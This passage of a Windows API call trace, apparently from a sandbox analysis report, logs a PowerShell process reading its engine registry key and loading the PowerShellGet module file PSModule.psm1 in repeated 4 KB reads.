ulOptions=0x0, samDesired=0x20019, phkResult=0x1bb7cd38 | out: phkResult=0x1bb7cd38*=0x3fc) returned 0x0 [0275.324] RegQueryValueExW (in: hKey=0x3fc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1bb7cd88, lpData=0x0, lpcbData=0x1bb7cd80*=0x0 | out: lpType=0x1bb7cd88*=0x1, lpData=0x0, lpcbData=0x1bb7cd80*=0x56) returned 0x0 [0275.324] RegQueryValueExW (in: hKey=0x3fc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1bb7cd88, lpData=0x26fb9f8, lpcbData=0x1bb7cd80*=0x56 | out: lpType=0x1bb7cd88*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1bb7cd80*=0x56) returned 0x0 [0275.324] RegCloseKey (hKey=0x3fc) returned 0x0 [0275.328] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0275.334] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0275.335] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0275.336] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bb7cd38 | out: phkResult=0x1bb7cd38*=0x3fc) returned 0x0 [0275.336] RegQueryValueExW (in: hKey=0x3fc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1bb7cd88, lpData=0x0, lpcbData=0x1bb7cd80*=0x0 | out: lpType=0x1bb7cd88*=0x1, lpData=0x0, lpcbData=0x1bb7cd80*=0x56) returned 0x0 [0275.336] RegQueryValueExW (in: hKey=0x3fc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1bb7cd88, lpData=0x270c920, lpcbData=0x1bb7cd80*=0x56 | out: lpType=0x1bb7cd88*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1bb7cd80*=0x56) returned 0x0 [0275.336] RegCloseKey (hKey=0x3fc) returned 0x0 [0275.340] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0275.345] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0275.350] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0275.354] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0275.358] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Resource.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.resource.psd1")) returned 0x20 [0275.362] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Resource.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.resource.psd1")) returned 0x20 [0275.372] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0275.372] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml", nBufferLength=0x55, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x54 [0275.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7cb78) returned 1 [0275.372] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x1bb7cea0 | out: lpFileInformation=0x1bb7cea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0275.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7cb28) returned 1 [0275.374] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0275.411] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0275.411] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x4f, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", lpFilePart=0x0) returned 0x4e [0275.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7c4f8) returned 1 [0275.412] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1"), fInfoLevelId=0x0, lpFileInformation=0x2748408 | out: lpFileInformation=0x2748408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8caa9)) returned 1 [0275.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7c4a8) returned 1 [0275.412] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0275.413] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x4f, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", lpFilePart=0x0) returned 0x4e [0275.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7c638) returned 1 [0275.413] CreateFileW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3fc [0275.413] GetFileType (hFile=0x3fc) returned 0x1 [0275.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7c5a8) returned 1 [0275.413] GetFileType (hFile=0x3fc) returned 0x1 [0275.413] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x0 [0275.414] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.416] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x1000 [0275.417] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.418] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x2000 [0275.418] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.419] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x3000 [0275.419] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.419] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x4000 [0275.419] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.420] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x5000 [0275.420] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.420] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x6000 [0275.420] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.420] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x7000 [0275.421] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.421] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x8000 [0275.421] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.421] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x9000 [0275.421] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.422] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0xa000 [0275.423] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.423] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0xb000 [0275.423] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.423] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0xc000 [0275.423] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.424] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0xd000 [0275.424] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.424] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0xe000 [0275.424] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.426] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0xf000 [0275.426] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.427] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x10000 [0275.427] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.427] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x11000 [0275.427] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.428] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x12000 [0275.428] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.428] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x13000 [0275.428] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.429] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x14000 [0275.429] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.429] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x15000 [0275.429] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.430] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x16000 [0275.430] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.430] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x17000 [0275.430] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.431] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x18000 [0275.431] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.431] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x19000 [0275.431] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.432] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x1a000 [0275.432] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.432] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x1b000 [0275.432] ReadFile (in: hFile=0x3fc, lpBuffer=0x2749318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x2749318*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.461] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x1c000 [0275.461] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.461] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x1d000 [0275.461] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.462] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x1e000 [0275.462] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.462] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x1f000 [0275.462] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.463] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x20000 [0275.463] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.463] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x21000 [0275.463] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.464] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x22000 [0275.464] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.464] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x23000 [0275.464] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.465] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x24000 [0275.465] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.465] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x25000 [0275.465] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.465] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: 